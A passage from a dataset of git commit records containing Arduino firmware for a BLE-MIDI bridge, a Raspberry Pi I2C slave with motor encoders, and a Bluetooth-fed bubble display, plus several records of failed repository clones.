HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <BLE_API.h>\n#include <pins_arduino.h>\n#include <SPI.h>\n#include <Usb.h>\n#include <usbh_midi.h>\n#define __CORE_CM0_H_GENERIC\n#define BLE_UUID_TXRX_SERVICE 0x0000 \/**< The UUID of the Nordic UART Service. *\/\n#define BLE_UUID_TX_CHARACTERISTIC 0x0001 \/**< The UUID of the TX Characteristic. *\/\n#define BLE_UUID_RX_CHARACTERISTIC 0x0002 \/**< The UUID of the RX Characteristic. *\/\n\n#define TXRX_BUF_LEN 100\n#define UART_RX_TIME APP_TIMER_TICKS(10, 0)\n\n\n#define STATUS_CHECK_TIME APP_TIMER_TICKS(20, 0)\n\n\n\/\/ Activate to debug\n\/\/ this increases delay significantly due to increased I\/Os\n#define DEBUG 1\n\n#ifdef DEBUG\n#define DEBUG_PRINT(x) Serial.print (x)\n#define DEBUG_PRINTDEC(x) Serial.print (x, DEC)\n#define DEBUG_PRINTHEX(x) Serial.print (x, HEX)\n#define DEBUG_PRINTLN(x) Serial.println (x)\n#else\n#define DEBUG_PRINT(x)\n#define DEBUG_PRINTDEC(x)\n#define DEBUG_PRINTHEX(x)\n#define DEBUG_PRINTLN(x)\n#endif\n\n\n\nBLEDevice ble;\n\nstatic app_timer_id_t m_uart_rx_id;\nstatic app_timer_id_t m_status_check_id;\nstatic uint8_t rx_buf[TXRX_BUF_LEN];\nstatic int rx_buf_num, rx_state = 0;\nstatic uint8_t rx_temp_buf[20];\n\n\n\/\/ TXRX Service & UDIDs \nstatic const uint8_t uart_base_uuid[] = {0x03, 0xB8, 0x0E, 0x5A, 0xED, 0xE8, 0x4B, 0x33, 0xA7, 0x51, 0x6C, 0xE3, 0x4E, 0xC4, 0xC7, 0};\nstatic const uint8_t uart_tx_uuid[] = {0x77, 0x72, 0xE5, 0xDB, 0x38, 0x68, 0x41, 0x12, 0xA1, 0xA9, 0xF2, 0x66, 0x9D, 0x10, 0x6B, 0xF3};\nstatic const uint8_t uart_rx_uuid[] = {0x77, 0x72, 0xE5, 0xDB, 0x38, 0x68, 0x41, 0x12, 0xA1, 0xA9, 0xF2, 0x66, 0x9D, 0x10, 0x6B, 0xF3};\nstatic const uint8_t uart_base_uuid_rev[] = {0, 0xC7, 0xC4, 0x4E, 0xE3, 0x6C, 0x51, 0xA7, 0x33, 0x4B, 0xE8, 0xED, 0x5A, 0x0E, 0xB8, 0x03};\n\nuint8_t txPayload[TXRX_BUF_LEN] = {0,};\nuint8_t rxPayload[TXRX_BUF_LEN] = {0,};\n\nGattCharacteristic txCharacteristic (uart_tx_uuid, txPayload, 1, 20,\n GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_WRITE | GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_WRITE_WITHOUT_RESPONSE | GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_NOTIFY | GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_READ);\n\nGattCharacteristic *uartChars[] = {&txCharacteristic};\nGattService uartService(uart_base_uuid, uartChars, sizeof(uartChars) \/ sizeof(GattCharacteristic *));\n\n\n\n\/*******************************************************************************\n * INITIALIZE USB MIDI Variables\n *******************************************************************************\/\nUSB Usb;\nUSBH_MIDI Midi(&Usb);\nuint8_t usbstate;\nuint8_t laststate;\nuint8_t rcode;\n\/\/uint8_t buf[sizeof(USB_DEVICE_DESCRIPTOR)];\nUSB_DEVICE_DESCRIPTOR buf;\n\nvoid MIDI_poll();\nvoid doDelay(unsigned long t1, unsigned long t2, unsigned long delayTime);\n\nboolean bFirst;\nboolean isConnected;\nuint16_t pid, vid;\n\n\n\/*******************************************************************************\n* INITIALIZE Internal BLE Buffer\n*******************************************************************************\/\n#define MAX_TX_BUFF 64\nstatic uint8_t midiOut_buff[MAX_TX_BUFF];\nstatic uint8_t midiOut_buff_len = 0;\n\n\n\n\/*******************************************************************************\n* Send MIDI data to BLE Stack\n*\n* BLE Packet is capped to 17 bytes (2 bytes prefix + 3 bytes MIDI + 3 * 4 bytes)\n*\n* Right now this is periodically called by the app_timer, to make sure the buffer clears\n* out fast enough as calling this through MIDI_poll() caused more delay. \n* TO DO: Use MIDI Structs instead of byte array\n*\n*******************************************************************************\/\nvoid m_uart_rx_handle(void * p_context)\n{\n if(rx_buf_num > 0 && isConnected) {\n int bufInc = 0;\n \n \/\/ with every ticker-call to this function we take 17 bytes off the buffer and send it out to BLE\n if (rx_buf_num < 17) {\n bufInc = rx_buf_num % 17; \n }\n else { \n bufInc = 17; \n }\n ble.updateCharacteristicValue(txCharacteristic.getHandle(), rx_buf, bufInc);\n memmove(rx_buf, rx_buf+bufInc, rx_buf_num-bufInc); \/\/ probably not best practice, needs to be fixed\n rx_buf_num -= bufInc;\n rx_state = 0;\n }\n}\n\n\/*******************************************************************************\n* Connection callback\n* \n* TO DO:\n* - Probably doesnt need Serial.Read() here since we dont do any reading\n*\n\/******************************************************************************\/\nvoid uartCallBack(void)\n{\n uint32_t err_code = NRF_SUCCESS;\n\n if (rx_state == 0)\n {\n rx_state = 1;\n err_code = app_timer_start(m_uart_rx_id, UART_RX_TIME, NULL);\n APP_ERROR_CHECK(err_code);\n rx_buf_num = 0;\n }\n while ( Serial.available() )\n {\n rx_buf[rx_buf_num] = Serial.read();\n rx_buf_num++;\n }\n}\n\nvoid m_status_check_handle(void * p_context)\n{\n\n Usb.Task();\n usbstate = Usb.getUsbTaskState();\n\n if (usbstate != laststate) {\n laststate = usbstate;\n\n switch (usbstate) {\n case ( USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE):\n E_Notify(PSTR(\"\\r\\nWaiting for device...\"), 0x80);\n break;\n case ( USB_ATTACHED_SUBSTATE_RESET_DEVICE):\n E_Notify(PSTR(\"\\r\\nDevice connected. Resetting...\"), 0x80);\n break;\n case ( USB_ATTACHED_SUBSTATE_WAIT_SOF):\n E_Notify(PSTR(\"\\r\\nReset complete. Waiting for the first SOF...\"), 0x80);\n break;\n case ( USB_ATTACHED_SUBSTATE_GET_DEVICE_DESCRIPTOR_SIZE):\n E_Notify(PSTR(\"\\r\\nSOF generation started. Enumerating device...\"), 0x80);\n break;\n case ( USB_STATE_ADDRESSING):\n E_Notify(PSTR(\"\\r\\nSetting device address...\"), 0x80);\n break;\n case ( USB_STATE_RUNNING):\n E_Notify(PSTR(\"\\r\\nGetting device descriptor\"), 0x80);\n rcode = Usb.getDevDescr(1, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*) & buf);\n\n if (rcode) {\n E_Notify(PSTR(\"\\r\\nError reading device descriptor. Error code \"), 0x80);\n \/\/ print_hex(rcode, 8);\n }\n else {\n\n E_Notify(PSTR(\"\\r\\nDescriptor Length:\\t\"), 0x80);\n print_hex(buf.bLength, 8);\n E_Notify(PSTR(\"\\r\\nDescriptor type:\\t\"), 0x80);\n print_hex(buf.bDescriptorType, 8);\n E_Notify(PSTR(\"\\r\\nUSB version:\\t\\t\"), 0x80);\n print_hex(buf.bcdUSB, 16);\n E_Notify(PSTR(\"\\r\\nDevice class:\\t\\t\"), 0x80);\n print_hex(buf.bDeviceClass, 8);\n E_Notify(PSTR(\"\\r\\nDevice Subclass:\\t\"), 0x80);\n print_hex(buf.bDeviceSubClass, 8);\n E_Notify(PSTR(\"\\r\\nDevice Protocol:\\t\"), 0x80);\n print_hex(buf.bDeviceProtocol, 8);\n E_Notify(PSTR(\"\\r\\nMax.packet size:\\t\"), 0x80);\n print_hex(buf.bMaxPacketSize0, 8);\n E_Notify(PSTR(\"\\r\\nVendor ID:\\t\\t\"), 0x80);\n print_hex(buf.idVendor, 16);\n E_Notify(PSTR(\"\\r\\nProduct ID:\\t\\t\"), 0x80);\n print_hex(buf.idProduct, 16);\n E_Notify(PSTR(\"\\r\\nRevision ID:\\t\\t\"), 0x80);\n print_hex(buf.bcdDevice, 16);\n E_Notify(PSTR(\"\\r\\nMfg.string index:\\t\"), 0x80);\n print_hex(buf.iManufacturer, 8);\n E_Notify(PSTR(\"\\r\\nProd.string index:\\t\"), 0x80);\n print_hex(buf.iProduct, 8);\n E_Notify(PSTR(\"\\r\\nSerial number index:\\t\"), 0x80);\n print_hex(buf.iSerialNumber, 8);\n E_Notify(PSTR(\"\\r\\nNumber of conf.:\\t\"), 0x80);\n print_hex(buf.bNumConfigurations, 8);\n\n }\n break;\n case ( USB_STATE_ERROR):\n E_Notify(PSTR(\"\\r\\nUSB state machine reached error state\"), 0x80);\n break;\n\n default:\n break;\n }\/\/switch( usbstate...\n }\n\n if ( Usb.getUsbTaskState() == USB_STATE_RUNNING )\n {\n\n MIDI_poll();\n }\n\n}\n\n\/\/ Disconnect Callback\nvoid disconnectionCallback(void)\n{\n Serial.println(\"Disconnected! \\r\\n\");\n Serial.println(\"Restarting the advertising process \\r\\n\");\n isConnected = false;\n ble.startAdvertising();\n}\n\nvoid connectionCallback(void) {\n isConnected = true; \n uint32_t err_code = NRF_SUCCESS;\n err_code = app_timer_create(&m_uart_rx_id, APP_TIMER_MODE_REPEATED, m_uart_rx_handle);\n APP_ERROR_CHECK(err_code);\n\n err_code = app_timer_start(m_uart_rx_id, STATUS_CHECK_TIME, NULL);\n APP_ERROR_CHECK(err_code);\n \n \n}\n\n\n\/*******************************************************************************\n* Callback for INCOMING MIDI BLE Data\n*\n*\n*******************************************************************************\/\n\nvoid onDataWritten(uint16_t charHandle)\n{\n uint8_t buf[TXRX_BUF_LEN];\n uint16_t bytesRead;\n Serial.println(\"Something\");\n\n if ( charHandle == txCharacteristic.getHandle() )\n {\n ble.readCharacteristicValue(txCharacteristic.getHandle(), buf, &bytesRead);\n parseBLEtoMIDI(buf, bytesRead);\n }\n}\n\nvoid setup(void)\n{\n bFirst = true;\n vid = pid = 0;\n isConnected = false;\n uint32_t err_code = NRF_SUCCESS;\n uart_callback_t uart_cb;\n Serial.begin(9600);\n \/\/ while (!Serial); \/\/ activate to wait for attached serial\n\n \/\/Workaround for non UHS2.0 Shield\n pinMode(10, OUTPUT);\n digitalWrite(10, HIGH);\n\n DEBUG_PRINTLN(\"BLE Arduino Slave\");\n Usb.Init();\n delay(500);\n Serial.begin(9600);\n\n ble.init();\n ble.onDisconnection(disconnectionCallback);\n ble.onConnection(connectionCallback);\n ble.onDataWritten(onDataWritten);\n\n \/* setup advertising *\/\n ble.accumulateAdvertisingPayload(GapAdvertisingData::BREDR_NOT_SUPPORTED);\n ble.setAdvertisingType(GapAdvertisingParams::ADV_CONNECTABLE_UNDIRECTED);\n ble.accumulateAdvertisingPayload(GapAdvertisingData::SHORTENED_LOCAL_NAME, (const uint8_t *)\"BLIDIno\", sizeof(\"BLIDIno\") - 1);\n ble.accumulateAdvertisingPayload(GapAdvertisingData::COMPLETE_LIST_128BIT_SERVICE_IDS, (const uint8_t *)uart_base_uuid_rev, sizeof(uart_base_uuid));\n\n \/* 100ms; in multiples of 0.625ms. *\/\n ble.setAdvertisingInterval(160);\n\n ble.addService(uartService);\n SPI.begin();\n \/\/Set Dev_Name\n err_code = RBL_SetDevName(\"BLIDino\");\n APP_ERROR_CHECK(err_code);\n\n ble.startAdvertising();\n \/\/ err_code = app_timer_create(&m_uart_rx_id, APP_TIMER_MODE_SINGLE_SHOT, m_uart_rx_handle);\n \n err_code = app_timer_create(&m_status_check_id, APP_TIMER_MODE_REPEATED, m_status_check_handle);\n APP_ERROR_CHECK(err_code);\n\n err_code = app_timer_start(m_status_check_id, STATUS_CHECK_TIME, NULL);\n APP_ERROR_CHECK(err_code);\n\n}\n\nvoid loop(void)\n{\n ble.waitForEvent();\n}\n\n\n\/*******************************************************************************\n * Poll MIDI DATA from USB Port\n *******************************************************************************\/\nvoid MIDI_poll()\n{\n\n uint8_t bufMidi[64];\n uint16_t rcvd;\n uint8_t size;\n byte outBuf[ 3 ];\n char buf[20];\n\n if (Midi.vid != vid || Midi.pid != pid) {\n vid = Midi.vid;\n pid = Midi.pid;\n }\n\n do {\n if ( (size = Midi.RecvData(outBuf)) > 0 ) {\n \/\/ Send data to parser\n parseMIDItoAppleBle(size, outBuf);\n\n }\n } while (size > 0);\n\n uint32_t err_code = NRF_SUCCESS;\n\n}\n\n\/*******************************************************************************\n * Convert MIDI BLE to MIDI USB\n *\n * Pleas check the experimental branch for MIDI BLE to MIDI USB\n * \n *******************************************************************************\/\nvoid parseBLEtoMIDI(uint8_t *dataptr, uint16_t bytesRead)\n{\n \/\/ stubbed out\n\n}\n\n\n\n\/*******************************************************************************\n * Convert MIDI Data to MIDI-BLE Packets\n *\n * TO DO: \n * - Jitter \/ Time Coding is not yet implemented\n * - 1 Byte between MIDI Packet is time-offset currently ignored\n * - Move this to proper MIDI Parsing (e.g. SysEx)\n *\n *******************************************************************************\/\nvoid parseMIDItoAppleBle(int size, byte outBuf[3]) {\n char time[2];\n char buf[20];\n\n unsigned long timer = 0;\n int lastPos;\n timer = millis();\n\n uint16_t blueMidiTime = 0;\n blueMidiTime = 32768 + (timer % 16383);\n\n uint32_t err_code = NRF_SUCCESS;\n int localBufNum = rx_buf_num;\n\n if(rx_buf_num <= 100) \/\/ buffer up to 100 bytes\n {\n if (rx_buf_num % 17 == 0) \/\/ End of packet, start a new one\n {\n rx_buf[rx_buf_num] = blueMidiTime >> 8;\n rx_buf_num++;\n rx_buf[rx_buf_num] = 0x80;\n rx_buf_num++;\n }\n else\n {\n rx_buf[rx_buf_num] = 0x80;\n rx_buf_num++;\n }\n \n for (int i = 0; i < size; i++)\n {\n rx_buf[rx_buf_num] = outBuf[i];\n rx_buf_num++; \n }\n }\n}\n\n\n\/*******************************************************************************\n * Convert USB Host debug info to Hex\n *\n *******************************************************************************\/\nvoid print_hex(int v, int num_places) {\n int mask = 0, n, num_nibbles, digit;\n\n for (n = 1; n <= num_places; n++) {\n mask = (mask << 1) | 0x0001;\n }\n v = v & mask; \/\/ truncate v to specified number of places\n\n num_nibbles = num_places \/ 4;\n if ((num_places % 4) != 0) {\n ++num_nibbles;\n }\n do {\n digit = ((v >> (num_nibbles - 1) * 4)) & 0x0f;\n DEBUG_PRINTHEX(digit);\n }\n while (--num_nibbles);\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"597597d9e95b3ba960977db45c3483e98425730f","subject":"Fixed credentials : UNDO RESET: on sample","message":"Fixed credentials : UNDO RESET: on sample\n","repos":"TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT","old_file":"AfricasTalkingCloud\/Examples\/ATWINC1500\/ATWINC1500Hello\/ATWINC1500Hello.ino","new_file":"AfricasTalkingCloud\/Examples\/ATWINC1500\/ATWINC1500Hello\/ATWINC1500Hello.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/AfricasTalkingIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bcc99863b87c9f812dae1e11843b93e619798fc2","subject":"","message":"\n\nadd PushButtonNode as SerialApi example","repos":"electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino","old_file":"libraries\/SerialApi\/examples\/PushButtonNode\/PushButtonNode.ino","new_file":"libraries\/SerialApi\/examples\/PushButtonNode\/PushButtonNode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/electronicplayground\/ep-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"38e3dd9a7414be662034abb5ab5c378e02d2fc5c","subject":"hmm letting the queue run dry is not htat hard \u2026","message":"hmm letting the queue run dry is not htat hard \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"bfd35a867e6cbf2a2655673c7e1e570e43d73848","subject":"Added encoders support","message":"Added encoders support\n","repos":"DrGFreeman\/RasPiBot202,DrGFreeman\/RasPiBot202","old_file":"arduino\/AStarRPiSlaveRPB202.ino","new_file":"arduino\/AStarRPiSlaveRPB202.ino","new_contents":"#include <Servo.h>\n#include <AStar32U4.h>\n#include <PololuRPiSlave.h>\n#include <FastGPIO.h>\n\n\/* This example program shows how to make the A-Star 32U4 Robot\n * Controller into a Raspberry Pi I2C slave. The RPi and A-Star can\n * exchange data bidirectionally, allowing each device to do what it\n * does best: high-level programming can be handled in a language such\n * as Python on the RPi, while the A-Star takes charge of motor\n * control, analog inputs, and other low-level I\/O.\n *\n * The example and libraries are available for download at:\n *\n * https:\/\/github.com\/pololu\/pololu-rpi-slave-arduino-library\n *\n * You will need the corresponding Raspberry Pi code, which is\n * available in that repository under the pi\/ subfolder. The Pi code\n * sets up a simple Python-based web application as a control panel\n * for your Raspberry Pi robot.\n *\/\n\n\/\/ Custom data structure that we will use for interpreting the buffer.\n\/\/ We recommend keeping this under 64 bytes total. If you change the\n\/\/ data format, make sure to update the corresponding code in\n\/\/ a_star.py on the Raspberry Pi.\n\nstruct Data\n{\n bool yellow, green, red;\n bool buttonA, buttonB, buttonC;\n\n int16_t leftMotor, rightMotor;\n uint16_t batteryMillivolts;\n uint16_t analog[6];\n\n bool resetEncoders;\n\n int16_t encoderLCount, encoderRCount;\n\n bool playNotes;\n char notes[14];\n};\n\nPololuRPiSlave<struct Data,0> slave;\nPololuBuzzer buzzer;\nAStar32U4Motors motors;\nAStar32U4ButtonA buttonA;\nAStar32U4ButtonB buttonB;\nAStar32U4ButtonC buttonC;\n\n\/\/ Encoders variables\nconst byte encoderLeftPin = 8;\nconst byte encoderRightPin = 7;\nvolatile uint16_t encoderLeftCount;\nvolatile uint16_t encoderRightCount;\n\n\/\/ ISRs\n\/\/ ISR for left encoder (PCINT)\nISR(PCINT0_vect)\n{\n encoderLeftCount++;\n}\n\n\/\/ ISR for right encoder (INT)\nstatic void rightISR()\n{\n encoderRightCount++;\n}\n\nvoid setup()\n{\n \/\/ Set up the slave at I2C address 20.\n slave.init(20);\n\n \/\/ Play startup sound.\n buzzer.play(\"v10>>g16>>>c16\");\n\n \/\/ Setup encoders pins and attach ISRs\n FastGPIO::Pin<encoderLeftPin>::setInputPulledUp();\n FastGPIO::Pin<encoderRightPin>::setInputPulledUp();\n PCICR = (1 << PCIE0);\n PCMSK0 = (1 << PCINT4);\n PCIFR = (1 << PCIF0); \n attachInterrupt(digitalPinToInterrupt(encoderRightPin), rightISR, CHANGE);\n}\n\nvoid loop()\n{\n \/\/ Call updateBuffer() before using the buffer, to get the latest\n \/\/ data including recent master writes.\n slave.updateBuffer();\n\n \/\/ Write various values into the data structure.\n slave.buffer.buttonA = buttonA.isPressed();\n slave.buffer.buttonB = buttonB.isPressed();\n slave.buffer.buttonC = buttonC.isPressed();\n\n \/\/ Change this to readBatteryMillivoltsLV() for the LV model.\n slave.buffer.batteryMillivolts = readBatteryMillivoltsSV();\n\n for(uint8_t i=0; i<6; i++)\n {\n slave.buffer.analog[i] = analogRead(i);\n }\n \n \/\/ Read encoders\n slave.buffer.encoderLCount = encoderLeftCount;\n slave.buffer.encoderRCount = encoderRightCount;\n if (slave.buffer.resetEncoders)\n {\n slave.buffer.resetEncoders = 0;\n encoderLeftCount = 0;\n encoderRightCount = 0;\n }\n\n \/\/ READING the buffer is allowed before or after finishWrites().\n ledYellow(slave.buffer.yellow);\n ledGreen(slave.buffer.green);\n ledRed(slave.buffer.red);\n motors.setSpeeds(slave.buffer.leftMotor, slave.buffer.rightMotor);\n\n \/\/ Playing music involves both reading and writing, since we only\n \/\/ want to do it once.\n if(slave.buffer.playNotes)\n {\n buzzer.play(slave.buffer.notes);\n while(buzzer.isPlaying());\n slave.buffer.playNotes = false;\n }\n\n \/\/ When you are done WRITING, call finalizeWrites() to make modified\n \/\/ data available to I2C master.\n slave.finalizeWrites();\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/AStarRPiSlaveRPB202.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"03dbd02dec79ea523b62e0efe12bdf3791820188","subject":"uploading arduino code from last semester","message":"uploading arduino code from last semester\n","repos":"Spruill1\/Bblr,Spruill1\/Bblr","old_file":"bluetooth_init.ino","new_file":"bluetooth_init.ino","new_contents":"\/*\n David Spruill, 2014\n \n This code is designed to control the Bblr Bubble Display made as a capstone final project \n in Duke's ECE 459 Embedded Systems course taught by Dr. John Board. \n \n This code currently deals with both time keeping, bluetooth phone connections for picture\n reception, and bubble (pixel) compensation planning.\n *\/\n\n#include <TimerOne.h>\n#include <Time.h>\n\n\/\/Image\n#define rails 24 \/\/ number of rails\n#define height 5 \/\/ maximum number of bubbles that can fit in the board\n#define charHeight 5\n#define charWidth 3\n#define allowedHeight 100\/\/max allowed height of a schedule\n\n\/\/Timing\n#define pixelPitch 330 \/\/ distance between the pixels\n#define blockPitch 1000 \/\/ distance between letters\/blocks\n#define compensation 10 \/\/ compensation time\n#define pixelDuration 8\n#define initialDelay 3000\n#define calibrationBubbleSize 40\n\nboolean PixelDelay[rails] = {\n 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10};\n\nint counterOffset = 0;\nbyte mode = 0;\nboolean currTime = 0;\nboolean phoneSetTime = false;\n\nint currRails = 24;\nint currRowLimit = 5;\n\nboolean setSchedule = false;\nboolean startPrint = false;\n\nboolean schedule[rails][allowedHeight];\n\nunsigned long lastWrite = 0;\nint currRow = 0;\n\n\/\/ Alphanumeric lib\nboolean alphabet[26][3][5] = {\n {{1, 1, 1, 1, 1},{1, 0, 1, 0, 0},{1, 1, 1, 1, 1}}, \/\/A\n {{1, 1, 1, 1, 1},{1, 0, 1, 0, 1},{0, 1, 0, 1, 0}}, \/\/B\n {{0, 1, 1, 1, 0},{1, 0, 0, 0, 1},{1, 0, 0, 0, 1}}, \/\/C\n {{1, 1, 1, 1, 1},{1, 0, 0, 0, 1},{0, 1, 1, 1, 0}}, \/\/D\n {{1, 1, 1, 1, 1},{1, 0, 1, 0, 1},{1, 0, 0, 0, 1}}, \/\/E\n {{1, 1, 1, 1, 1},{1, 0, 1, 0, 0},{1, 0, 0, 0, 0}}, \/\/F\n {{0, 1, 1, 1, 0},{1, 0, 1, 0, 1},{1, 0, 0, 1, 0}}, \/\/G ~ looks funny\n {{1, 1, 1, 1, 1},{0, 0, 1, 0, 0},{1, 1, 1, 1, 1}}, \/\/H\n {{1, 0, 0, 0, 1},{1, 1, 1, 1, 1},{1, 0, 0, 0, 1}}, \/\/I\n {{0, 0, 0, 1, 0},{1, 0, 0, 0, 1},{1, 1, 1, 1, 0}}, \/\/J\n {{1, 1, 1, 1, 1},{0, 1, 0, 1, 0},{1, 0, 0, 0, 1}}, \/\/K\n {{1, 1, 1, 1, 1},{0, 0, 0, 0, 1},{0, 0, 0, 0, 1}}, \/\/L\n {{1, 1, 1, 1, 1},{0, 1, 1, 0, 0},{1, 1, 1, 1, 1}}, \/\/M\n {{1, 1, 1, 1, 1},{0, 1, 1, 1, 0},{1, 1, 1, 1, 1}}, \/\/N\n {{0, 1, 1, 1, 0},{1, 0, 0, 0, 1},{0, 1, 1, 1, 0}}, \/\/O\n {{1, 1, 1, 1, 1},{1, 0, 1, 0, 0},{0, 1, 0, 0, 0}}, \/\/P\n {{0, 1, 1, 1, 0},{1, 0, 0, 1, 1},{0, 1, 1, 1, 1}}, \/\/Q ~ good be better\n {{1, 1, 1, 1, 1},{1, 0, 1, 1, 0},{0, 1, 0, 0, 1}}, \/\/R\n {{0, 1, 0, 0, 1},{1, 0, 1, 0, 1},{1, 0, 0, 1, 0}}, \/\/S\n {{1, 0, 0, 0, 0},{1, 1, 1, 1, 1},{1, 0, 0, 0, 0}}, \/\/T\n {{1, 1, 1, 1, 0},{0, 0, 0, 0, 1},{1, 1, 1, 1, 0}}, \/\/U\n {{1, 1, 1, 0, 0},{0, 0, 0, 1, 1},{1, 1, 1, 0, 0}}, \/\/V\n {{1, 1, 1, 1, 1},{0, 0, 0, 1, 0},{1, 1, 1, 1, 1}}, \/\/W\n {{1, 1, 0, 1, 1},{0, 0, 1, 0, 0},{1, 1, 0, 1, 1}}, \/\/X\n {{1, 1, 0, 0, 0},{0, 0, 1, 1, 1},{1, 1, 0, 0, 0}}, \/\/Y\n {{1, 0, 0, 1, 1},{1, 0, 1, 0, 1},{1, 1, 0, 0, 1}}}; \/\/Z\n\nboolean numbers[10][3][5] = {\n {{0, 1, 1, 1, 0},{1, 0, 0, 0, 1},{0, 1, 1, 1, 0}}, \/\/0\n {{0, 1, 0, 0, 1},{1, 1, 1, 1, 1},{0, 0, 0, 0, 1}}, \/\/1\n {{1, 0, 1, 1, 1},{1, 0, 1, 0, 1},{1, 1, 1, 0, 1}}, \/\/2\n {{1, 0, 0, 0, 1},{1, 0, 1, 0, 1},{1, 1, 1, 1, 1}}, \/\/3\n {{1, 1, 1, 0, 0},{0, 0, 1, 0, 0},{1, 1, 1, 1, 1}}, \/\/4\n {{1, 1, 1, 0, 0},{1, 0, 1, 0, 1},{1, 0, 1, 1, 1}}, \/\/5\n {{1, 1, 1, 1, 1},{1, 0, 1, 0, 1},{1, 0, 1, 1, 1}}, \/\/6\n {{1, 0, 0, 1, 1},{1, 0, 1, 0, 0},{1, 1, 0, 0, 0}}, \/\/7\n {{1, 1, 1, 1, 1},{1, 0, 1, 0, 1},{1, 1, 1, 1, 1}}, \/\/8\n {{1, 1, 1, 0, 0},{1, 0, 1, 0, 0},{1, 1, 1, 1, 1}}}; \/\/9 These last several could use some straightening out\n\nvoid setup()\n{\n pinMode(13,OUTPUT);\n Serial.begin(9600); \/\/ Begin the serial monitor at 9600bps\n\n Serial1.begin(115200); \/\/ The Bluetooth Mate defaults to 115200bps\n Serial1.print(\"$\"); \/\/ Print three times individually\n Serial1.print(\"$\");\n Serial1.print(\"$\"); \/\/ Enter command mode\n delay(100); \/\/ Short delay, wait for the Mate to send back CMD\n\n Serial.println(\"configuring\");\n Serial1.println(\"U,9600,E\"); \/\/ Change the baudrate to 9600, even parity\n Serial1.println(\"---\");\n Serial1.end();\n Serial1.begin(9600); \/\/ Start bluetooth serial at 9600\n\n Timer1.initialize(1000000); \/\/ set a timer of length 100000 microseconds (or 0.1 sec - or 10Hz => the led will blink 5 times, 5 cycles of on-and-off, per second)\n Timer1.attachInterrupt( timerInt ); \/\/ attach the service routine here\n setTime(0);\n}\n\nvoid loop()\n{\n if(Serial1.available()) \/\/ If the bluetooth sent any characters\n {\n \/\/ Send any characters the bluetooth prints to the serial monitor\n char currByte = Serial1.read();\n switch(currByte){\n case 0xFE:\n updateTime();\n break; \n case 0xFD:\n getImage();\n break;\n case 0xFC:\n stopDisplay();\n break;\n case 0xFB:\n startClock();\n break;\n case 0xFA:\n getText();\n break;\n }\n }\n if(startPrint){\n \/\/begin printing\n if(millis() - lastWrite > pixelPitch){\n for(int i = 0; i < rails; i++){\n Serial.print(String(schedule[i][currRow],DEC));\n \/\/here we would turn on the solenoids \n }\n Serial.print(\"\\n\");\n delay(pixelDuration);\n for(int i =0; i < rails; i++){\n \/\/here we would turn off the solenoids \n }\n lastWrite = millis();\n currRow++;\n if(currRow >= currRowLimit) {\n stopDisplay(); \/\/ appropriately stop printing & clear schedule\n currRow = 0; \n Serial.print(\"\\n\");\n }\n }\n else {\n for(int i = 0; i < rails; i++){\n \/\/Serial.print(\"0\"); \/\/this else isn't actually needed, just for testing\n } \n \n }\n }\n}\n\nvoid getText(){\n \n}\n\nvoid getImage() {\n digitalWrite(13,HIGH);\n char received[10] = {\n 0,0,0,0,0,0,0,0,0,0 };\n int receivedCount = Serial1.readBytesUntil(0xA0,received,10);\n if(receivedCount < 2) return;\n \n int imageRails = received[0];\n if(imageRails > rails) return;\n \n currRowLimit = received[1];\n Serial.println(\"rails: \"+String(imageRails) + \" rows: \"+String(currRowLimit));\n char *image = new char[imageRails*currRowLimit+10];\n int pixelsReceived = Serial1.readBytesUntil(0xFF,image,imageRails*currRowLimit);\n Serial.print(\"Data: \");\n for(int i = 0; i < imageRails*currRowLimit+10; i++){Serial.print(String(image[i],DEC) + \" \"); if(i%(imageRails)==0)Serial.print(\"\\n\");}\n Serial.println();\n \n int leftSide = (rails - imageRails) \/ 2; if(leftSide < 0) leftSide = 0;\n \n for(int i = 0; i < rails; i++){\n for(int j = 0; j < currRowLimit; j++){\n if(i>=leftSide&&i<(leftSide+imageRails)){\n schedule[i][j] = image[(i-leftSide)+j*(imageRails)-8] == 0x01; \n }\n else 